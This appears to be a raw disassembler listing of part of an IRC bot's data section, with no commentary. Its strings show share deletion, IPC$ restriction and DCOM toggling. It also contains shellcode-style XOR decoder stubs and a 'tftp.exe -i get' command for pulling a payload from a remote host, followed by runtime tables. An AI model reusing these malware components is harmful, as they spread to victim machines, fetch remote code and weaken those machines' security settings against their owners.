Failed to delete ',27h,'%S',27h,' share.',0 align 4 unk_437748 db 2 ; DATA XREF: sub_4146BA+25Bo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aShareSDeleted_ db ' Share ',27h,'%S',27h,' deleted.',0 align 10h unk_437780 db 2 ; DATA XREF: sub_4146BA:loc_414889o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToDele_0 db ' Failed to delete ',27h,'%s',27h,' share.',0 align 10h unk_4377C0 db 2 ; DATA XREF: sub_4146BA+1C8o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aShareSDelete_0 db ' Share ',27h,'%s',27h,' deleted.',0 align 4 unk_4377F8 db 2 ; DATA XREF: sub_4146BA:loc_4147ECo ; sub_4149DE:loc_414B0Co db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aAdvapi32_dllCo db ' Advapi32.dll couldn',27h,'t be loaded.',0 align 4 unk_43783C db 2 ; DATA XREF: sub_4146BA:loc_4147E5o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToOpenIp db ' Failed to open IPC$ Restriction registry key.',0 align 4 unk_43788C db 2 ; DATA XREF: sub_4146BA:loc_4147C7o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aRestrictedAcce db ' Restricted access to the IPC$ Share.',0 align 4 unk_4378D4 db 2 ; DATA XREF: sub_4146BA+106o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToRestri db ' Failed to restrict access to the IPC$ Share.',0 align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_4146BA+EDo ; sub_4149DE+EDo align 4 unk_437938 db 2 ; DATA XREF: sub_4146BA+91o ; sub_4149DE+91o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToOpenDc db ' Failed to open DCOM registry key.',0 align 4 dword_43797C dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h ; DATA XREF: sub_4146BA:loc_414727o dd 6C1F641Fh, 2202920h, 2002BBBBh, 4F434420h, 6964204Dh dd 6C626173h, 2E6465h unk_4379AC db 2 ; DATA XREF: sub_4146BA+66o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aDisableDcomFai db ' Disable DCOM failed.',0 align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_4146BA+54o ; sub_4149DE+54o align 10h word_4379F0 dw 4Eh ; DATA XREF: sub_4146BA+38r align 4 unk_4379F4 db 2 ; DATA XREF: sub_4149DE+2C0o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aNetworkSharesA db ' Network shares added.',0 align 4 aC_2 db '%c:\',0 ; DATA XREF: sub_4149DE+22Ao align 4 aC_3 db '%c$',0 ; DATA XREF: sub_4149DE+219o unk_437A38 db 2 ; DATA XREF: sub_4149DE:loc_414B7Do ; sub_4149DE:loc_414C4Bo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToAddSSh db ' Failed to add ',27h,'%s',27h,' share.',0 align 4 unk_437A74 db 2 ; DATA XREF: sub_4149DE+198o ; sub_4149DE+266o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aShareSAdded_ db ' Share ',27h,'%s',27h,' added.',0 align 4 unk_437AA8 db 2 ; DATA XREF: sub_4149DE:loc_414B05o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToOpen_0 db ' Failed to open IPC$ restriction registry key.',0 align 4 unk_437AF8 db 2 ; DATA XREF: sub_4149DE:loc_414AE7o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aUnrestrictedAc db ' Unrestricted access to the IPC$ Share.',0 unk_437B40 db 2 ; DATA XREF: sub_4149DE+102o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToUnrest db ' Failed to unrestrict access to the IPC$ Share.',0 dword_437B90 dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h ; DATA XREF: sub_4149DE:loc_414A4Bo dd 6C1F641Fh, 2202920h, 2002BBBBh, 4F434420h, 6E65204Dh dd 656C6261h, 2E64h unk_437BC0 db 2 ; DATA XREF: sub_4149DE+66o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aEnableDcomFail db ' Enable DCOM failed.',0 align 4 word_437BF8 dw 59h ; DATA XREF: sub_4149DE+38r align 4 loc_437BFC: ; DATA XREF: sub_414E8C+C4o jmp short loc_437C00 ; --------------------------------------------------------------------------- loc_437BFE: ; CODE XREF: .nsp0:loc_437C00p jmp short loc_437C05 ; --------------------------------------------------------------------------- loc_437C00: ; CODE XREF: .nsp0:loc_437BFCj call loc_437BFE loc_437C05: ; CODE XREF: .nsp0:loc_437BFEj pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 66h, 0B9h word_437C0A dw 0FFFFh ; DATA XREF: sub_414E8C+CCw db 80h, 73h, 0Eh byte_437C0F db 0FFh ; DATA XREF: sub_414E8C+D3w dd 0F9E243h ; --------------------------------------------------------------------------- loc_437C14: ; DATA XREF: sub_414E8C+A2o jmp short loc_437C18 ; --------------------------------------------------------------------------- loc_437C16: ; CODE XREF: .nsp0:loc_437C18p jmp short loc_437C1D ; --------------------------------------------------------------------------- loc_437C18: ; CODE XREF: .nsp0:loc_437C14j call loc_437C16 loc_437C1D: ; CODE XREF: .nsp0:loc_437C16j pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 0B1h byte_437C21 db 0FFh ; DATA XREF: sub_414E8C+AAw dw 7380h db 0Ch byte_437C25 db 0FFh ; DATA XREF: sub_414E8C+B0w dw 0E243h dd 0F9h dword_437C2C dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_414D15+57o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_437C90 dd 12h ; DATA XREF: sub_414D15+3Dw aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_414D15+79o aJ_0 db 'j',0 db 0E8h dword_437CA9 dd 17h ; DATA XREF: sub_414D15+4Dw ; --------------------------------------------------------------------------- jnz short near ptr byte_437CB0 retn ; --------------------------------------------------------------------------- byte_437CB0 db 0E8h ; CODE XREF: .nsp0:00437CADj dword_437CB1 dd 1 ; DATA XREF: sub_414D15+45w byte_437CB5 db 0, 6Ah, 0 ; DATA XREF: sub_414D15+C2o dd 7E8h db 0, 0Fh, 84h dword_437CBF dd 0FFFFFFEDh ; DATA XREF: sub_414D15+5Dw ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn ; --------------------------------------------------------------------------- align 10h aThreadList db '-[Thread List]-',0 ; DATA XREF: sub_415050+10o aSNoSThreadFoun db '%s: No %s thread found.',0 ; DATA XREF: sub_415221+51o aSSStopped_DThr db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_415221+35o dword_437D40 dd 1 ; DATA XREF: sub_415539+4w sub_415543r ... align 10h dword_437D50 dd 173Fh ; DATA XREF: sub_415E6C+Dr dd 9875h, 9873h off_437D5C dd offset sub_415F3B ; DATA XREF: sub_4177FAr dd offset nullsub_2 dd offset nullsub_2 dword_437D68 dd 1B3Fh ; DATA XREF: sub_415FB3+Dr dword_437D6C dd 19930520h, 4 dup(0) ; DATA XREF: sub_416435+2o ; sub_41643E+2o off_437D80 dd offset sub_417838 ; DATA XREF: sub_417BEE+1Cr dword_437D84 dd 2 ; DATA XREF: sub_41CEE0+Er ; sub_41CF19+46r ... off_437D88 dd offset aNull_0 ; DATA XREF: sub_417D4C:loc_4180B0r ; sub_417D4C+457r ; "(null)" off_437D8C dd offset aNull ; DATA XREF: sub_417D4C+259r ; "(null)" off_437D90 dd offset word_437D9A ; DATA XREF: sub_4159D4+23r ; sub_4159D4:loc_415A35r ... dd offset word_437D9A db 2 dup(0) word_437D9A dw 20h ; DATA XREF: sub_41E6BD+18r ; .nsp0:off_437D90o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_437F9C dd 1 ; DATA XREF: sub_4159D4:loc_4159DCr ; sub_4159D4:loc_415A20r ... byte_437FA0 db 2Eh ; DATA XREF: sub_419F18:loc_419F58r ; .nsp0:00419F76r ... align 4 dd 1, 10h dword_437FAC dd 3F8h ; DATA XREF: sub_415E07+5r ; sub_4174DF+4Dr ... dword_437FB0 dd 14h ; DATA XREF: sub_419C61+2o off_437FB4 dd offset aExp ; DATA XREF: sub_419C61:loc_419C7Er ; "exp" dd 1Dh, 4217A4h, 1Ah, 4217A0h, 1Bh, 421798h, 1Fh, 421790h dd 13h, 421788h, 21h, 421780h, 0Eh, 421778h, 0Dh, 421770h dd 0Fh, 421768h, 10h, 421760h, 5, 421758h, 1Eh, 421754h dd 12h, 421750h, 20h, 42174Ch, 0Ch, 421744h, 0Bh, 42173Ch dd 15h, 421734h, 1Ch, 42172Ch, 19h, 421724h, 11h, 42171Ch dd 18h, 421714h, 16h, 42170Ch, 17h, 421704h, 22h, 421700h dd 23h, 4216FCh, 24h, 4216F8h dbl_438088 dq 1.797693134862316e308 ; DATA XREF: sub_41999C+B7r ; sub_41999C:loc_419A83r ... dd 0 dd 0FFF80000h dbl_438098 dq 1.797693134862316e308 ; DATA XREF: sub_41999C+92r ; sub_41999C:loc_419A5Br ... dd 0 dd 100000h, 0 dd 80000000h tbyte_4380B0 dt 2.3562723457267347066e313 ; DATA XREF: sub_419E49+Dr ; sub_419E49+1Fr align 4 tbyte_4380BC dt 1.9149954921904370718e-1233 ; DATA XREF: sub_419E49+31r align 4 off_4380C8 dd offset sub_41DEF9 ; DATA XREF: sub_415F53+Fw ; sub_417D4C+3AAr off_4380CC dd offset sub_41DEF9 ; DATA XREF: sub_415F53+5w ; sub_417D4C+3E2r off_4380D0 dd offset sub_41DEF9 ; DATA XREF: sub_415F53+14w ; sub_41AD3D+430r off_4380D4 dd offset sub_41DEF9 ; DATA XREF: sub_415F53+1Ew ; sub_417D4C+3CBr off_4380D8 dd offset sub_41DEF9 ; DATA XREF: sub_415F53+28w off_4380DC dd offset sub_41DEF9 ; DATA XREF: sub_415F53+32w dd offset sub_41DF02 align 10h dd offset sub_41AB9C off_4380F4 dd offset sub_41AB9C ; DATA XREF: sub_41ABF2+29r dword_4380F8 dd 0D2D0920h, 5Dh ; DATA XREF: sub_41AD3D:loc_41B2A4o dword_438100 dd 5Dh, 0 ; DATA XREF: sub_41AD3D:loc_41B194o byte_438108 db 1 ; DATA XREF: sub_41BFC0+E1r db 2, 4, 8 align 10h dword_438110 dd 3A4h ; DATA XREF: sub_41BFC0+2Fo dword_438114 dd 82798260h, 21h, 0 ; DATA XREF: sub_41BFC0+11Dr dword_438120 dd 0DFA6h ; DATA XREF: sub_41BFC0+C0r align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_438200 dd 1 ; DATA XREF: sub_41BFC0+3Co ; sub_41C5D7+Co dword_438204 dd 16h ; DATA XREF: sub_41C5D7:loc_41C60Cr dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_438368 dd 0C0000005h ; DATA XREF: sub_41C5D7+19o ; sub_41C77F+Ar ... dword_43836C dd 0Bh ; DATA XREF: sub_41F3C4+Ar dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_4383E0 dd 3 ; DATA XREF: sub_41C63E+58r ; sub_41F297+C8r dword_4383E4 dd 7 ; DATA XREF: sub_41C63E+5Er ; sub_41F297+CDr dword_4383E8 dd 0Ah ; DATA XREF: sub_41C77F+4r ; sub_41F3C4+4r dword_4383EC dd 8Ch ; DATA XREF: sub_41C63E+82r ; sub_41C63E+8Fw ... dword_4383F0 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_417C37:loc_417CF4o ; sub_41B8B0:loc_41B931o dword_4383F8 dd 2 ; DATA XREF: sub_41CF19+Eo ; sub_41CF19+28r off_4383FC dd offset aR6002FloatingP ; DATA XREF: sub_41CF19+FCr ; sub_41CF19+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 421AC4h, 9, 421A98h, 0Ah, 421A74h, 10h, 421A48h dd 11h, 421A18h, 12h, 4219F4h, 13h, 4219C8h, 18h, 421990h dd 19h, 421968h, 1Ah, 421930h, 1Bh, 4218F8h, 1Ch, 4218D0h dd 78h, 4218C0h, 79h, 4218B0h, 7Ah, 4218A0h, 0FCh, 4269FCh dd 0FFh, 421890h off_438488 dd offset dword_4697C0 ; DATA XREF: sub_41CF19+1Bo ; sub_41D0D6+55o align 10h dd offset dword_4697C0 dd 101h dword_438498 dd 2 dup(0) ; DATA XREF: sub_41D0D6+72o dd 1000h, 0 dword_4384A8 dd 3 dup(0) ; DATA XREF: sub_417C37+50o ; sub_4187B6+12o dd 2, 1, 3 dup(0) dword_4384C8 dd 3 dup(0) ; DATA XREF: sub_417C37+58o ; sub_4187B6:loc_4187D4o dd 2 dup(2), 7 dup(0) dword_4384F8 dd 84h dup(0) ; DATA XREF: sub_41D0D6+9Bo dword_438708 dd 2694h ; DATA XREF: sub_4195FE+3r ; sub_419651+46r ... align 10h dword_438710 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_41DCE2o dword_438728 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_41DCF8o dword_438740 dd 7080h ; DATA XREF: sub_41B7EE+76r ; sub_41E162+5Ew ... dword_438744 dd 1 ; DATA XREF: sub_41B7EE+98r ; sub_41E162+8Bw ... dword_438748 dd 0FFFFF1F0h ; DATA XREF: sub_41B7EE:loc_41B8A0r ; sub_41E162+94w ... dword_43874C dd 545350h, 0Fh dup(0) ; DATA XREF: .nsp0:off_4387CCo dword_43878C dd 544450h, 0Fh dup(0) ; DATA XREF: .nsp0:off_4387D0o off_4387CC dd offset dword_43874C ; DATA XREF: sub_41E162+BAr ; sub_41E162+D9r ... off_4387D0 dd offset dword_43878C ; DATA XREF: sub_41E162+F4r ; sub_41E162+11Br ... align 8 dword_4387D8 dd 0FFFFFFFFh ; DATA XREF: sub_41E162+1Dw ; sub_41E3C0+1Er ... dword_4387DC dd 0 ; DATA XREF: sub_41E3C0:loc_41E4F4r ; sub_41E56C+BFw dword_4387E0 dd 0 ; DATA XREF: sub_41E3C0+192r ; sub_41E56C+E0w align 8 dword_4387E8 dd 0FFFFFFFFh ; DATA XREF: sub_41E162+17w ; sub_41E3C0+26r ... dword_4387EC dd 0 ; DATA XREF: sub_41E3C0+13Ar ; sub_41E56C+EAw ... dword_4387F0 dd 0 ; DATA XREF: sub_41E3C0+1A1r ; sub_41E56C+23r ... dword_4387F4 dd 0FFFFFFFFh ; DATA XREF: sub_41E56C+84r dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_438824 dd 16Dh ; DATA XREF: sub_41B7EE+2Ar ; sub_41E56C+2Er ... dword_438828 dd 0FFFFFFFFh ; DATA XREF: sub_41E56C:loc_41E5F8r dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 0 dword_438860 dd 2 dup(0) ; DATA XREF: sub_41F71C+7o dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_4389C0 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_41F71C+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh, 0 off_438B20 dd offset off_421CB4 ; DATA XREF: .nsp0:off_421CD8o ; .nsp0:00421E04o ... align 8 a_?avexception@ db '.?AVexception@@',0 off_438B38 dd offset off_421CB4 ; DATA XREF: .nsp0:off_421CF0o ; .nsp0:00421D84o ... align 10h a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_438B58 dd offset off_421CB4 ; DATA XREF: .nsp0:off_421D08o ; .nsp0:00421D4Co ... align 10h a_?avlength_err db '.?AVlength_error@std@@',0 align 4 off_438B78 dd offset off_421CB4 ; DATA XREF: .nsp0:off_421D90o ; .nsp0:00421DD4o ... align 10h a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_438B98 dd offset off_421CB4 ; DATA XREF: .nsp0:off_421E10o ; .nsp0:00421E4Co align 10h a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_41DF02 align 8 byte_438BB8 db 0 ; DATA XREF: sub_401447+1D3w ; sub_401447+2D2o align 2 word_438BBA dw 0 ; DATA XREF: sub_401447+1E3w word_438BBC dw 0 ; DATA XREF: sub_401447+1E9w word_438BBE dw 0 ; DATA XREF: sub_401447+1F0w byte_438BC0 db 0 ; DATA XREF: sub_401447+1F7w byte_438BC1 db 0 ; DATA XREF: sub_401447+1FEw word_438BC2 dw 0 ; DATA XREF: sub_401447+204w dword_438BC4 dd 0 ; DATA XREF: sub_401447+234w ; sub_401447+250w dword_438BC8 dd 0 ; DATA XREF: sub_401447+258w byte_438BCC db 0 ; DATA XREF: sub_401447+26Aw byte_438BCD db 0 ; DATA XREF: sub_401447+27Dw word_438BCE dw 0 ; DATA XREF: sub_401447+295w word_438BD0 dw 0 ; DATA XREF: sub_401447+2A4w word_438BD2 dw 0 ; DATA XREF: sub_401447+29Cw dword_438BD4 dd 101h dup(0) ; DATA XREF: sub_401447+2B9o dword_438FD8 dd 0 ; DATA XREF: sub_402FDD+9Eo byte_438FDC db 0 ; DATA XREF: sub_402FDD+36r ; sub_4030C0+37r ... align 10h dword_438FE0 dd 0 ; DATA XREF: sub_4036D4+10w ; sub_4036EB+30r ... dd 2 dup(0) dword_438FEC dd 2 dup(0) ; DATA XREF: sub_404532+68o dword_438FF4 dd 0 ; DATA XREF: sub_403FD2+13o ; sub_40CE55+5B71o ... dword_438FF8 dd 0 ; DATA XREF: sub_405A0C+2Aw ; sub_405A0C+51r ... dword_438FFC dd 0 ; DATA XREF: sub_4036EB+AEr ; .nsp0:0040494Cr ... dd 2 dup(0) dword_439008 dd 0 ; DATA XREF: sub_4071FF+18r ; sub_407652+92w ... dword_43900C dd 0 ; DATA XREF: sub_40778B+4Dr ; sub_40799F+D9w ... dd 256h dup(0) dword_439968 dd 6 dup(0) ; DATA XREF: sub_40778B+CFo ; sub_40778B+138o ... dword_439980 dd 0 ; DATA XREF: sub_407276+82w ; sub_407276+102o dword_439984 dd 41h dup(0) ; DATA XREF: sub_407276+41o dword_439A88 dd 41h dup(0) ; DATA XREF: sub_407276+63o dword_439B8C dd 0 ; DATA XREF: sub_407276+F8w ; sub_407276+114r dword_439B90 dd 0 ; DATA XREF: sub_407276+52w dword_439B94 dd 0 ; DATA XREF: sub_407276+4Dw ; sub_407276+CFr dword_439B98 dd 20h dup(0) ; DATA XREF: sub_407276+9Ao ; sub_407276+BAo dword_439C18 dd 0 ; DATA XREF: sub_407276+8Fw dword_439C1C dd 0 ; DATA XREF: sub_407276+A7w ; sub_407276+C7w dword_439C20 dd 0 ; DATA XREF: sub_407276:loc_4073A0r align 8 dword_439C28 dd 0 ; DATA XREF: sub_407276+2D5w ; sub_407276+32Eo dword_439C2C dd 0A2h dup(0) ; DATA XREF: sub_407276+2C3o dword_439EB4 dd 41h dup(0) ; DATA XREF: sub_407276+28Do dword_439FB8 dd 0 ; DATA XREF: sub_407276+2BAw ; sub_407276+2E1r align 10h dword_439FC0 dd 0 ; DATA XREF: sub_407276+324w ; sub_407276+340r dword_439FC4 dd 0 ; DATA XREF: sub_407276+2E7w dword_439FC8 dd 0 ; DATA XREF: sub_407276+2F4w dword_439FCC dd 0 ; DATA XREF: sub_407276+2B4w dd 0 dword_439FD4 dd 0 ; DATA XREF: sub_407276:loc_4075CCr dword_439FD8 dd 0 ; DATA XREF: sub_407276+1A1w ; sub_407276+221o dword_439FDC dd 41h dup(0) ; DATA XREF: sub_407276+163o dword_43A0E0 dd 41h dup(0) ; DATA XREF: sub_407276+182o dword_43A1E4 dd 0 ; DATA XREF: sub_407276+217w ; sub_407276+233r dword_43A1E8 dd 0 ; DATA XREF: sub_407276+171w dword_43A1EC dd 0 ; DATA XREF: sub_407276+1EEr dword_43A1F0 dd 20h dup(0) ; DATA XREF: sub_407276+1B9o ; sub_407276+1D9o dword_43A270 dd 0 ; DATA XREF: sub_407276+1AEw dword_43A274 dd 0 ; DATA XREF: sub_407276+1C6w ; sub_407276+1E6w dword_43A278 dd 0 ; DATA XREF: sub_407276:loc_4074C0r align 10h dword_43A280 dd 0 ; DATA XREF: sub_4089F2+489w ; sub_4089F2+4CDr dword_43A284 dd 0 ; DATA XREF: sub_4089F2+65w ; 